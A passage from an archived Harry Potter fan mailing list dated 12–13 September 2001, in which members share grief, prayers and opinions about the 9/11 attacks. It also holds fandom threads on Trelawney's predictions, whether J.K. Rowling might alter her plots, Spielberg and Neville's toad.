you're relenting and letting David join L.O.O.N. <vbg>

Glad to know you're alright,
Sheryll

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From aleksrothis at yahoo.co.uk  Thu Sep 13 01:37:34 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Thu, 13 Sep 2001 01:37:34 -0000
Subject: Discussions and well wishes
In-Reply-To: <9nomlh+8s68@eGroups.com>
Message-ID: <9np2ku+n2qa@eGroups.com>

No: HPFGUIDX 26042

Hi everyone,

I was going to post here yesterday but couldn't find the words to 
comment on everything that happened. Going thro' some old files this 
evening I just came across this song by Garth Brooks which expresses 
all that I can't say. Just to let anyone affected by this tragedy 
know that you are all in my prayers.

This ain't coming from no prophet 
Just an ordinary man 
When I close my eyes 
I see the way this world shall be 
When we all walk hand in hand 
When the last child cries for a crust of bread 
When the last man dies for just words that he said 
When there's shelter over the poorest head 
We shall be free 

When the last thing we notice is the color of skin 
And the first thing we look for is the beauty within 
When the skies and the oceans are clean again 
Then we shall be free 
We shall be free 
We shall be free 
Stand straight 
Walk proud 
'Cause we shall be free 

When we're free to love anyone we choose 
When this world's big enough for all different views 
When we all can worship from our own kind of pew 
Then we shall be free 
We shall be free 
We shall be free 
Have a little faith 
Hold out 
'Cause we shall be free 

And when money talks for the very last time 
And nobody walks a step behind 
When there's only one race and that's mankind 
Then we shall be free 

Aleks (in the UK, far from all that's happened)




From mlmnb at msn.com  Thu Sep 13 01:50:47 2001
From: mlmnb at msn.com (mlmnb)
Date: Wed, 12 Sep 2001 21:50:47 -0400
Subject: joining in prayers
Message-ID: <002301c13bf6$83b2a0c0$5ad7fea9@oemcomputer>

No: HPFGUIDX 26043

Hello Everyone,

Doesn't seem that anyone has reported from my corner of the world.   I live
one county away from
Somerset County-Shanksville where Flite 93 came down.  In addition to the
national coverage on
NYC and DC, our local reporters (some my former co-workers)have been at this
crash site and have provided a lot of the feeds from this area to NBC and
CBS.
Already the gruesome task of identifying everything in the approximately
three mile area has begun.

Somerset is a rural county 60 miles southeast of Pittsburgh.  We said our
prayers for those on board, knowing long before the media started
speculating that the crew and/or passengers must have valiantly gave the
good fight to disarm the terrorists.   From eyewitnesses, the plane arced,
dipped its wings, then turned and headed into the ground.

If any of you watched the Today show this am, I was so moved by an interview
with the mother of one of the victims.  She herself was a flight attendant
and the son was traveling on a companion or family pass.
He called his family to tell them of the hijacking and told them that they
(on the flite)would have to do something about it.  This woman went on to
describe her son as bright, athletic and aggressive and she just knows that
he and others were heroes, sacrificing their lives but saving so many more
on the ground. (reports today think the plane intended to hit the White
House or Capitol).  This woman was so courageous, so eloquent, conveying
that they have some peace, having been able to speak with him for this final
time.

I know we'll all hear many more of these stories unfold, my heart breaks for
those directly involved, the families still waiting for word of loved ones,
and the courage of the fire/police/emergency workers tirelessly pushing on.
I look in horror at the NYC rubble and can't imagine how they are coping.

My heart breaks for the rest of America, we who feel helpless in this time
of so much need.  Our blood bank was overwhelmed and the media asked that
all those who wanted to give blood, please give next week, or the week after
that to have a continuously fresh supply.  I'll be in line.

Good thoughts and prayers to all.
Dane, Ravenclaw





From fyregirl at cfl.rr.com  Thu Sep 13 01:50:33 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Thu, 13 Sep 2001 01:50:33 -0000
Subject: I don't get it ....
In-Reply-To: <9np1jh+kedu@eGroups.com>
Message-ID: <9np3d9+l8lr@eGroups.com>

No: HPFGUIDX 26044

well, I now have Cheeta as well ... let me know how to come and 
play. :)



--- In HPforGrownups at y..., "M. Barnett" <fyregirl at c...> wrote:
> --- In HPforGrownups at y..., "Michelle Apostolides" 
> <michelleapostolides at l...> wrote:
> > | how do I get into chat?  
> > 
> > Do you have yahoo messenger or Cheeta ?
> > 
> > Michelle
> 
> none of the above?  I don't know ... I just clicked on the chat 
link, 
> and that obviously isn't it :)
> 
> Michelle ;)




From heidi.h.tandy.c92 at alumni.upenn.edu  Thu Sep 13 02:09:08 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Wed, 12 Sep 2001 22:09:08 EDT
Subject: If you were JKR....
Message-ID: <10.125e4c40.28d16f44@aol.com>

No: HPFGUIDX 26045

And you'd planned out seven entire books, where terrorism, random attacks, 
mass murders and violence were - not a subplot, not a theme - an overarching 
Thing in the background, and then THIS happened - this horrible, 
unpredictable, but not unimaginable THING happened - would you consider 
changing any plot points that came too close to what really happened? 

Would it make a difference if those plot points were scheduled for Book 5 or 
Book 7?

Or would you consider it more of a reason to remind people to remember, if 
the time should come when you have to make a choice between what is right and 
what is easy, remember what happened to planeloads and offices full of people 
who were good, and kind, and brave, because they strayed across the path of 
terrorists? Or would you reiterate that we are only as strong as we are 
united, as weak as we are divided? Or would you force yourself into things 
you normally do, because you could do with a few laughs, you know that we 
could all do with a few laughs, and you have a feeling we're going to need 
them more than usual before long?

If you were the writer, what would you do?


[Non-text portions of this message have been removed]




From tabouli at unite.com.au  Thu Sep 13 02:46:58 2001
From: tabouli at unite.com.au (Tabouli)
Date: Thu, 13 Sep 2001 12:46:58 +1000
Subject: Attacks in US
Message-ID: <000201c13bfe$8e7a5b80$9492aecb@price>

No: HPFGUIDX 26046

Still in shock.  I've seen footage of those planes hitting the WTC from every possible angle over and over but my brain just won't take it in.  Like so many people said, it was like a movie set, a mini-New York built to scale and attacked on camera for a disaster movie.  These things just don't happen in countries like the US and Australia, we're removed, we're complacent, we comment on the horrors of the world from a safe distance, they don't come to us, we go to them with our camera crews and our commentators and our rescue teams and advice.

I looked out my bedroom window yesterday morning after my radio alarm switched on and told me the news.  The streets were very still, and there was a smudge of grey smog along the horizon.  I grew up in the eighties and have been haunted by post-apocalyptic dreams all my life, and they all share that same silence.

I'm very frightened.  I'm afraid for the human race, afraid that that there will be a war, afraid of the implications for air travel security, afraid of a monstrous backlash against Islam and anyone who looks even slightly Arabic.  I'm afraid that this may only be the first of a series of hideous attacks, and that something like this may happen again.  Beyond this my mind has stalled.

I'm in Australia, miles and a time zones away, and all I can do is express my compassion and support for the American people, especially those in New York City and Washington, and those whose friends or relatives have been involved.  Take care.  I hope everything is OK.  My thoughts are with you.

Tabouli.


[Non-text portions of this message have been removed]




From saitaina at wizzards.net  Thu Sep 13 04:56:29 2001
From: saitaina at wizzards.net (Saitaina)
Date: Wed, 12 Sep 2001 21:56:29 -0700
Subject: A Call For Peace...
References: <000201c13bfe$8e7a5b80$9492aecb@price>
Message-ID: <09ac01c13c10$7455ae00$b64e28d1@oemcomputer>

No: HPFGUIDX 26047

(You may not agree with my views in this Op-Ed, you may even think I'm horrible for some of them.  But these are my opinions, un-edited and set out for you to dissect.  I would appreciate it, if that any part of this makes you so ANGRY you just have to respond, to take a moment, and please not yell at me)

A Call of Peace...

I do not call for revenge for what has happened. I do not call for retaliation or vengeance. I do not stand and let my voice be heard for bloody violence against a nation.

I call for peace. I call for intelligent response instead of brute strength. A tragic event has occurred and the whole world is effected by it. However, do we need to retaliate with violence that will destroy thousands of innocent souls?

The awnser is no. We have lost a great many to this terrorist attack. We are mourning their losses, and the loss of America's innocence. We are angered and outraged, and we are scared. It is understand able that out emotions and thoughts turn to destroying this so far unknown enemy. It is natural that we seek to kill those that would kill us. It is human nature to defend before we perish. Nevertheless, we have come a long way from our ancestors that hid in cave as struck out at anything that would destroy our precious hold on survival.

Our world's history is filled with bloody wars that destroyed civilizations. Our recent history are filled with wars that left horrible images imprinted on our memories. Do we need to see more images like these in the times to come?

I am a 20 year old woman who grew up with the images of bodies torn apart, men shot in mass killing's, women, still clutching their children, lying dead in the street. I have seen children, blown to tiny piece, just for crossing the street.

These are horrible pictures that are a part of my memory, mixed in with memories of birthday cakes and first school days. Horrible images that will stay with me until my last breath passes from my lips and my soul moves on.

I do not want to see anymore horrible images. I do not wish to watch children die needlessly, wives, mothers, clutching their children and husbands, watching our bombs fall upon them. I do not want to see innocent men cut down, for an act of one group. I do not want to watch my neighbors turn against each other. To watch innocent AMERICANS injured and even killed for a madman's act.

I do believe that those responsible, whomever they may be, should be brought to punishment. I am not saying that we should ignore this in it's entirety. I myself spent September 11th, stairing out at a cloudless sky, and wondering if one of my friends, one of the people I loved dearly, was lying under the rubble or lost in the chaos. I stared at the television like so many American's, fearing what else was to come, scared for my life and my family member's lives. 



However, violence against the innocent is not the awnser. There are many innocent, many more then those responsible. The countries suspected are filled with them; our country is filled with them. Several of those of Arab decent and nationality in our country have been either injured or threatened. Many schools, religious institutions, and Arab-American organizations have received bomb threats. Let us not forget that these people are Americans, the same as you and I. Let us not forget what the lessons of the past have taught us. These people are scared and hurting just as we are. Many have compared this attack to that of Pearl Harbor. Well let us remember that after Pearl Harbor one of the responses the US made was to put all American residents--citizens or not--of Japanese descent into internment camps. I dread the further backlash, which is likely to come against Moslem and/or Arabic people in the US. 

My heart goes out to all those lost in this tragedy. The victims and their families. In addition, my heart goes out to the families of those that were lost that were on the other side of this conflict. Every man has a mother and yesterday morning several mothers lost their children in tragedy that shouldn't have happened, weather they be Arabic, American or other. I watched my mother today, stairing at the news coverage and wondered what the mothers of the hijackers must be feeling. It is a horrible thing, to lose a child. But, to know your child died, doing something so horrible, and taking so many lives...it must have made their pain so much more terrible. My prayers go out to those women that stair at their television screens, or their newspapers, tears blearing their vision as they stair at images from a country so far away, where their sons or daughters died in a tragic act that they created. Let us mourn those victims we lost...but let us not in our anger, forget the other victims. We may not mourn those that caused this, but please, pray for their families, so that they may find the peace, and so that they may come to terms with what their family members have done.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: Tabouli 
  To: HPforGrownups at yahoogroups.com 
  Sent: Wednesday, September 12, 2001 7:46 PM
  Subject: [HPforGrownups] Attacks in US


  Still in shock.  I've seen footage of those planes hitting the WTC from every possible angle over and over but my brain just won't take it in.  Like so many people said, it was like a movie set, a mini-New York built to scale and attacked on camera for a disaster movie.  These things just don't happen in countries like the US and Australia, we're removed, we're complacent, we comment on the horrors of the world from a safe distance, they don't come to us, we go to them with our camera crews and our commentators and our rescue teams and advice.

  I looked out my bedroom window yesterday morning after my radio alarm switched on and told me the news.  The streets were very still, and there was a smudge of grey smog along the horizon.  I grew up in the eighties and have been haunted by post-apocalyptic dreams all my life, and they all share that same silence.

  I'm very frightened.  I'm afraid for the human race, afraid that that there will be a war, afraid of the implications for air travel security, afraid of a monstrous backlash against Islam and anyone who looks even slightly Arabic.  I'm afraid that this may only be the first of a series of hideous attacks, and that something like this may happen again.  Beyond this my mind has stalled.

  I'm in Australia, miles and a time zones away, and all I can do is express my compassion and support for the American people, especially those in New York City and Washington, and those whose friends or relatives have been involved.  Take care.  I hope everything is OK.  My thoughts are with you.

  Tabouli.


  [Non-text portions of this message have been removed]


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From prefectmarcus at yahoo.com  Thu Sep 13 05:00:02 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Thu, 13 Sep 2001 05:00:02 -0000
Subject: More heartbreak for Neville
Message-ID: <9npegi+ul4u@eGroups.com>

No: HPFGUIDX 26048

So how much longer can Trevor be expected to live?  He is at least 
three years-old now.  What is the life expectancy of a toad?

Marcus





From captain_debrowe at yahoo.com  Wed Sep 12 20:32:37 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Wed, 12 Sep 2001 13:32:37 -0700 (PDT)
Subject: Status of the Situation here
Message-ID: <20010912203237.9533.qmail@web14406.mail.yahoo.com>

No: HPFGUIDX 26049

First my apoligies for the mass cross-post for I don't
think I could manage to post this more than once
without breaking down.

1.- A friend of mine that works at the Pentagon still
hasn't checked in.  I hope he is well as he just got
married.

2.- You may recall me posting yesturday that the post
(Fort Campbell) had gone to ThreatCon Delta and put
all soldiers on alert and lockdown.  Last night he
came home...with orders to pack all (and I mean ALL)
of his military gear.  No orders have come down yet
but trust me the military can move fast when it wants
to.

3.- I have a younger brother (who I have been Mom for
since our mother died when I was 17 and he was 9)
stationed at Fort Bliss,TX that we have not heard from
yet.  For those of you who don't know, Fort Bliss is
home to several Patriot Missile Units.

4.- My nieghbor has informed me that the army is
already doing the prep work necessary for recalling
personnel that was discharged 6 months or less ago. 
And as the military has 8 years in which to call you
back to service (and I've only been out for 5)  I have
a new worry.  If we go to war I may get recalled also.

My thoughts and prayers go to all who have already
lost so much and to hoping that this can be resolved
without bloodshed.  That said I leave you with some
thoughts from the older of my two brothers (the one
NOT in the military) from his latest brainchild
"Thoughts of a Dirty Old Man" (even though he's only
22).

America Under Attack:

Face It, Everyone, The Good Ol' USofA Been Pissing
Everyone Off Ever Since The Start, It Was Only A
Matter Of Time Before We Faced Adversity Like We Did
Today.  That Said, I Hope We Nuke The Sons Of Bitches
Responsible Until They Glow In The Dark So We Can Shot
Them At Night!  


Danette

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From aiz24 at hotmail.com  Thu Sep 13 06:05:34 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 13 Sep 2001 02:05:34 -0400
Subject: Professor Trelawney Scorecard?
Message-ID: <F236zQRDeTnFp8n1pxm0000e7c3@hotmail.com>

No: HPFGUIDX 26050

Cindy:

> >People born in July are "in great danger of sudden violent deaths" --
> >True (Well, maybe.  Harry certainly was in great danger in GoF.)
> >Harry was born in mid-winter -- False

Joanne:

>I was thinking, could that be a misprint rather than an error from
>Trelawney? Perhaps the editor/person who let it pass was from
>Australia/somewhere about this end of the world and July *is* mid-winter to
>them and they didn't pick up on it as an error?

The above are two different predictions.  First she says Harry must have 
been born in mid-winter, then, later, having been corrected, she says people 
born in July are in great danger.

I think Harry should have let her keep thinking he was a midwinter baby and 
then broken it to her at the end of the year that all her astrological 
predictions of disaster for those born under the baleful influence of Saturn 
were irrelevant.

Amy Z

with a serious sig that has been on my mind since Tuesday:

--------------------------------------------------------
But we were dragons.  We were =supposed= to be cruel,
cunning, heartless, and terrible.  But this much I can
tell you . . . we never burned and tortured and ripped
one another apart and called it morality.
                    --the dragon, Guards! Guards!,
                      Terry Pratchett
---------------------------------------------------------

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From lake4fam at earthlink.net  Thu Sep 13 07:21:29 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Thu, 13 Sep 2001 07:21:29 -0000
Subject: Aftermath
Message-ID: <9npmpp+jja0@eGroups.com>

No: HPFGUIDX 26051

   We are doing the best thing possible right now:  carrying on 
strongly.  We are sharing Zen hugs (you feel them, but they are not 
physical), shoring each other up emotionally, and, in the same spirit 
as the passgengers of Flight 93 (R.I.P), saying "No" to the perpe-
trators of this atrocity.  Deity bless you all.




From hermione at pigwidgeon.f9.co.uk  Thu Sep 13 08:52:32 2001
From: hermione at pigwidgeon.f9.co.uk (Hermione)
Date: Thu, 13 Sep 2001 09:52:32 +0100
Subject: OT : Prayer
Message-ID: <00b201c13c31$7a1efdc0$c500a8c0@mshome.net>

No: HPFGUIDX 26052

Dear Heavenly Father,
We are moved by the alarming news and crisis that our country is facing.
This, the greatest nation, founded in the believe that "In God We
Trust" & the "Land of the Free." Please have mercy on those suffering,
hurting and in fear, and give wisdom & strength to those who are assisting.
May the
forces of evil be broken by your power and may we humble before thee, our
strength and refuge.

Give wisdom to all our President & our leaders and bring your comforting
peace through the power of your Holy Spirit. Help us here to reach to those
that have been affected by this tragedy.

In the name of our Lord and Savior, Christ Jesus. AMEN

Please send this to all your friends and create a prayer chain throughout
this nation.




From frances at forever.u-net.com  Thu Sep 13 10:20:59 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Thu, 13 Sep 2001 10:20:59 -0000
Subject: If you were JKR....
In-Reply-To: <10.125e4c40.28d16f44@aol.com>
Message-ID: <9nq1ab+jvos@eGroups.com>

No: HPFGUIDX 26053

It's very difficult for a writer when something terrible happens to 
know how to continue. Do you substantially change your plot? Do you 
just continue the way you are going?

I was writing a story about a racing driver having an accident many 
years ago and then watched as a driver was killed in a race and 
suddenly my work of fiction seemed to be very trivial. I am also 
finding it difficult to write at the moment.

I think any writer who has a story just ready to be published with any 
plot items which might in anyway mirror the terrible things that have 
happened, must be thinking hard about whether they should change 
things, hold back publication etc.

In a way, it is lucky that the next book isn't going to be published 
until next summer as this will give a gap for people to come to terms 
(if you ever can) with things. It is much too early to say that life 
goes on, but in the end we must hope it will return to some sort of 
normality. I know nothing really about JKR, but I get the impression 
she is a very sensitive writer.

Frances





From frances at forever.u-net.com  Thu Sep 13 10:24:30 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Thu, 13 Sep 2001 10:24:30 -0000
Subject: If you were JKR....
In-Reply-To: <10.125e4c40.28d16f44@aol.com>
Message-ID: <9nq1gu+hv69@eGroups.com>

No: HPFGUIDX 26054

>Or would you force yourself into things you normally do, because you 
>could do with a few laughs, you know that we could all do with a few 
>laughs, and you have a feeling we're going to need them more than 
>usual before long?
> 
This reminds me very much of what Harry said to Fred and George at the 
end of GoF when he gives them the money. We do need to find something 
to help keep us going in the blackest times and one of the things we do 
have is our imagination and our ability to create stories which people 
can enjoy and lose themselves in.

Frances





From kcruse at xanodria.com  Thu Sep 13 13:00:46 2001
From: kcruse at xanodria.com (kcruse at xanodria.com)
Date: Thu, 13 Sep 2001 13:00:46 -0000
Subject: Red Cross in need of Tech Help
Message-ID: <9nqalu+10d0e@eGroups.com>

No: HPFGUIDX 26055



Hey all:

The Red Cross is in need of some tech help with their field
operatives in NYC.  They're looking for certified Citrix engineers
and Microsoft-certified consultants, as well as a long list of
computers, network parts, etc.  You can find more info at:

http://www.techtv.com/screensavers/showtell/story/0,23008,3347294,00.h
tml

If you can help, please do.






From fourfuries at aol.com  Thu Sep 13 13:14:11 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Thu, 13 Sep 2001 13:14:11 -0000
Subject: If you were JKR....
In-Reply-To: <10.125e4c40.28d16f44@aol.com>
Message-ID: <9nqbf3+fig8@eGroups.com>

No: HPFGUIDX 26056

--- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:
> And you'd planned out seven entire books, where terrorism, random 
attacks, 
> mass murders and violence were - not a subplot, not a theme - an 
overarching 
> Thing in the background, and then THIS happened - this horrible, 
> unpredictable, but not unimaginable THING happened - would you 
consider 
> changing any plot points that came too close to what really 
happened? 
> 
> Would it make a difference if those plot points were scheduled for 
Book 5 or 
> Book 7?
> 
> Or would you consider it more of a reason to remind people to 
remember, if 
> the time should come when you have to make a choice between what is 
right and 
> what is easy, remember what happened to planeloads and offices full 
of people 
> who were good, and kind, and brave, because they strayed across the 
path of 
> terrorists? Or would you reiterate that we are only as strong as we 
are 
> united, as weak as we are divided? Or would you force yourself into 
things 
> you normally do, because you could do with a few laughs, you know 
that we 
> could all do with a few laughs, and you have a feeling we're going 
to need 
> them more than usual before long?
> 
> If you were the writer, what would you do?
> 

If I were a writer as gifted, in terms of vision, as JKR, I do not 
think I would have much to change.  There is no need either to mimic 
events nor to avoid comparisons.  Evil exists, both in fantasy and in 
reality. The challenge for the writer is to avoid facile descriptions 
that make all Slytherins evil, or all Gryffindors good, just as the 
challenge in real life is to avoid stereotyping of Muslims, Arabs, 
and Americans as all one thing or another.  JKR has already factored 
for these complexities, already given us a glimpse of the subtleties 
of human motivation that she is prepared to present in her continuing 
story.  

Tragedy has a funny way of wiping out the differences between 
peoople.  Or at least, it could be funny, were it not for the 
circumstances.  My prayer is that those of us stuck in real life will 
appreciate those subtleties, now that our innocense has been lost.

4FR




From inviziblegirl at hotmail.com  Thu Sep 13 12:45:50 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Thu, 13 Sep 2001 08:45:50 -0400
Subject: [HPforGrownups] If you were JKR....
Message-ID: <F148IiQXBmjBwP5acfe000081b5@hotmail.com>

No: HPFGUIDX 26057


>From: heidi.h.tandy.c92 at alumni.upenn.edu
>
>And you'd planned out seven entire books, where terrorism, random
>attacks, mass murders and violence were - not a subplot, not a theme -
>an overarching Thing in the background, and then THIS happened - this
>horrible, unpredictable, but not unimaginable THING happened - would
>you consider changing any plot points that came too close to what
>really happened?
>
><snip>
>
>If you were the writer, what would you do?

I would keep the plot the same. I might, *might* change the style so that 
the tone or plot elements a bit more gentle (well, as gentle as you can be 
when talking about such serious matters), but I would not change the plot.

I don't know why. All I can think is that changing the plot would not help 
anything. This is a rough world, and sometimes books should reflect that. 
Yes, it could indicate compassion for the horrible events that occurred, 
but...I don't know...it still doesn't seem as if it would be that helpful. 
Something in me says that writers should try to maintain their "truth" and 
not stifle themselves. After all, people wouldn't have to read the book.

I know that a bunch of movies, tv shows have cancelled or postponed some 
airings that showed incredible violence or terrorism. I do approve of such 
things being postponed while the world reels in its shock. I don't think we 
need the situation rammed any more in our faces. But I don't think they 
should be cancelled indefinitely. If I were about to release a book that had 
terrorism elements in it, instead of changing the book, I would simply 
postpone the release. Nothing is wrong with waiting.

If JKR has such elements in her upcoming books (and she could very well 
have), I hope she doesn't change them. We need to be reminded of such 
things, even though it seems incredible that we could ever forget what has 
happened. I'm wearing a red, white, and blue ribbon on my right wrist today 
because it constantly reminds myself and others of what has happened. I plan 
to wear it until...well...until the situation is "better" is NYC and DC. 
Until it feels right to take it off.

Feel free to disagree with what I have said in this post. I know I disagree 
with the sentiments that the United States needs to respond with war and 
destruction to the events that occurred. Of course, I wasn't in NYC or DC, I 
probably shouldn't say much...

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From fourfuries at aol.com  Thu Sep 13 13:31:05 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Thu, 13 Sep 2001 13:31:05 -0000
Subject: Attacks in US
In-Reply-To: <000201c13bfe$8e7a5b80$9492aecb@price>
Message-ID: <9nqceq+3ba2@eGroups.com>

No: HPFGUIDX 26058

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:
> Still in shock.  I'm very frightened.  I'm afraid for the human 
race, afraid that that there will be a war, afraid of the 
implications for air travel security, afraid of a monstrous backlash 
against Islam and anyone who looks even slightly Arabic.  I'm afraid 
that this may only be the first of a series of hideous attacks, and 
that something like this may happen again.  I hope everything is OK.  
My thoughts are with you.
> 
> Tabouli.

Everything is not OK, but it will be.  There is nothing to fear that 
was not present and available to be feared last week, last month or 
last year.  Now we face the reality that we must FIGHT to keep our 
FREEDOMS.

One of the founding patriots of this country once wrote that "every 
generation the streets must run with the blood of tyrants and 
patriots".  After nearly 30 years off, we are now getting our crack 
at the eternal challenge of freedom, which is, as our dear character 
has said in other context, Constant Vigilance.

The good news is that the same creative source that allowed the 
terrorists to come up with and execute their brilliant and dastardly 
plan is available to us, the people of good will, to use in our 
deense, and in defense of the freedoms we cherish.  But we can't be 
squemish.  We have to strike back.  We will be rounding up the "old 
crowd" and we will be going to battle, on land sea air and net.  And 
we will be successful, though some will pay the "full measure of 
devotion", laying down their sacred lives that others, even strangers 
may live.

The stuff of creation is more and better and greater than the stuff 
of destruction.  Ask the astrophysicists.  Matter outlasts the pull 
of anti-matter.  It is therefore part of the human miracle that good 
is actually superior to evil.  Looks like we will have to prove it 
yet again.

4FR-UNAFRAID





From blpurdom at yahoo.com  Thu Sep 13 13:52:53 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 13 Sep 2001 13:52:53 -0000
Subject: If you were JKR....
In-Reply-To: <10.125e4c40.28d16f44@aol.com>
Message-ID: <9nqdnl+91j8@eGroups.com>

No: HPFGUIDX 26059

--- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:
> And you'd planned out seven entire books, where terrorism, random 
> attacks, mass murders and violence were - not a subplot, not a 
> theme -an overarching Thing in the background, and then THIS 
> happened - this horrible, unpredictable, but not unimaginable THING 
> happened - would you consider changing any plot points that came 
> too close to what really happened? [snip]

> Or would you consider it more of a reason to remind people to 
> remember, if the time should come when you have to make a choice 
> between what is right and what is easy, remember what happened to 
> planeloads and offices full of people who were good, and kind, and 
> brave, because they strayed across the path of terrorists? Or would 
> you reiterate that we are only as strong as we are united, as weak 
> as we are divided? Or would you force yourself into things you 
> normally do, because you could do with a few laughs, you know that 
> we could all do with a few laughs, and you have a feeling we're 
> going to need them more than usual before long?

Well, as you know, Heidi, I did write a fic with terrorism and murder 
in it.  I thought of that as I watched the coverage of the rescue 
efforts.  I also saw an interview with Tom Clancy on one of the 
networks (I forget which one).  The interviewer pointed out to Clancy 
that he had written a book about someone deliberately crashing a 
plane into the White House.  Clancy has written many books about 
terrorism and acts of war and the way people respond to high-stress 
situations.  Clancy did not train the terrorists to fly (that 
evidently happened at a flight school in Florida).  It is even 
possible that the terrorists did not get the idea for this from his 
or anyone else's novel.  One could legitimately say, I think, that 
Clancy pointed out that this was a danger, something we should think 
about when working out national defense strategies.  

I do not think such a book would be published right now, and possibly 
not for years to come.  It would hit too close to home and cause too 
much pain.  I think that writers who depict harrowing situations of 
this sort can educate us about ourselves as individuals and 
collectively, as a society.  I personally did not include terrorism 
in what I wrote as "entertainment."  There was a lesson in it.  One 
passage was adapted from a speech I gave on hate crimes being akin to 
terrorism, because those who share the characteristics of the victims 
are made to feel that they could be next; they are effectively 
terrorized.  Women feel terrorized whenever they hear of a rape; 
every burning of a church or synagogue that we have heard of in the 
last ten years has been not just a criminal act against the 
congregation in question but against all people of faith.  Every time 
someone who is gay or a person of color hears about someone being 
targeted because they are gay or a person of color, they may wonder 
if they will be next.

I think that the argument can work in reverse as well.  Terrorism is 
a hate crime.  This happened because of hatred against the United 
States.  It is hate that motivated the perpetrators, and no matter 
how many novels there are depicting different methodologies for 
carrying out terroristic acts, it is hate which is ultimately to 
blame for the acts taking place at all.

I suspect that JKR will find a way to treat future atrocities by her 
villains in such a way that they do not seem sensationalistic and 
opportunistic.  I am also confident that good will triumph in the 
end, although it may be at a cost.  That is only realistic, and 
although she is writing fantasy, it has a very realistic edge to it.  
I do not think she will shy away from realistically depicting the 
cost of such a victory, nor should she.  It could be the most 
valuable education we and our children receive from her books.

--Barb





From prefectmarcus at yahoo.com  Thu Sep 13 13:48:45 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Thu, 13 Sep 2001 13:48:45 -0000
Subject: Steven Spielberg
Message-ID: <9nqdft+i2jr@eGroups.com>

No: HPFGUIDX 26060


This is a link to why SS chose not to do the first movie.  It seems 
it is too easy for him, and it wasn't "real".


http://dailynews.yahoo.com/h/pagesix/20010904/en/spielberg_potter_br_t
oo_easy_for_me_1.html




From morgan_793 at yahoo.com  Thu Sep 13 14:21:53 2001
From: morgan_793 at yahoo.com (=?iso-8859-1?q?=20?=)
Date: Thu, 13 Sep 2001 15:21:53 +0100 (BST)
Subject: [HPforGrownups] Steven Spielberg
In-Reply-To: <9nqdft+i2jr@eGroups.com>
Message-ID: <20010913142153.75571.qmail@web13908.mail.yahoo.com>

No: HPFGUIDX 26061

Well, since Spielberg's last film was deservedly a critical and
financial failure, I'd just call it "sour grapes."

 --- prefectmarcus at yahoo.com wrote: > 
> This is a link to why SS chose not to do the first movie.  It seems 
> it is too easy for him, and it wasn't "real".
> 
> 
>
http://dailynews.yahoo.com/h/pagesix/20010904/en/spielberg_potter_br_t
> oo_easy_for_me_1.html

=====
Respectfully,
Morgan

"[W]e are only as strong as we are united, as weak as we are divided... Lord Voldemort's gift for spreading discord and enmity is very great. We can fight it only by showing an equally strong bond of friendship and trust. Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

"Si hoc legere scis nimium eruditionis habes."

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie



From Indyfans at aol.com  Thu Sep 13 15:03:27 2001
From: Indyfans at aol.com (Indyfans at aol.com)
Date: Thu, 13 Sep 2001 11:03:27 EDT
Subject: [HPforGrownups] Steven Spielberg
Message-ID: <11e.4bd2207.28d224bf@aol.com>

No: HPFGUIDX 26062

OK, Speilberg's comments totally make me want to gag.   I agree, 'sour 
grapes', and whatever happened to his wonderful imagination?  I know he's 
doing serious stuff, but when I grow up (I'm 39 !!), I hope I still have a 
sense of joy in all things kids' stuff and fantasy.   Jen



From snyderm at engr.sc.edu  Thu Sep 13 15:40:49 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Thu, 13 Sep 2001 11:40:49 -0400
Subject: [HPforGrownups] More heartbreak for Neville
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789ABA@mailbox.engr.sc.edu>

No: HPFGUIDX 26063

Ah but is he a magical toad?  We know from PoA that magical rats live longer
than ordinary rats. I don't have my book with me but review the section when
they are at the pet store in Diagon Alley.  The lady was suprised that
Scabbers had lived as long as he had being a normal rat.  Trevor may have
unknown powers simply because he is a good escaper.

Leslie

-----Original Message-----
From: prefectmarcus at yahoo.com [mailto:prefectmarcus at yahoo.com]
Sent: Thursday, September 13, 2001 1:00 AM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] More heartbreak for Neville


So how much longer can Trevor be expected to live?  He is at least 
three years-old now.  What is the life expectancy of a toad?

Marcus




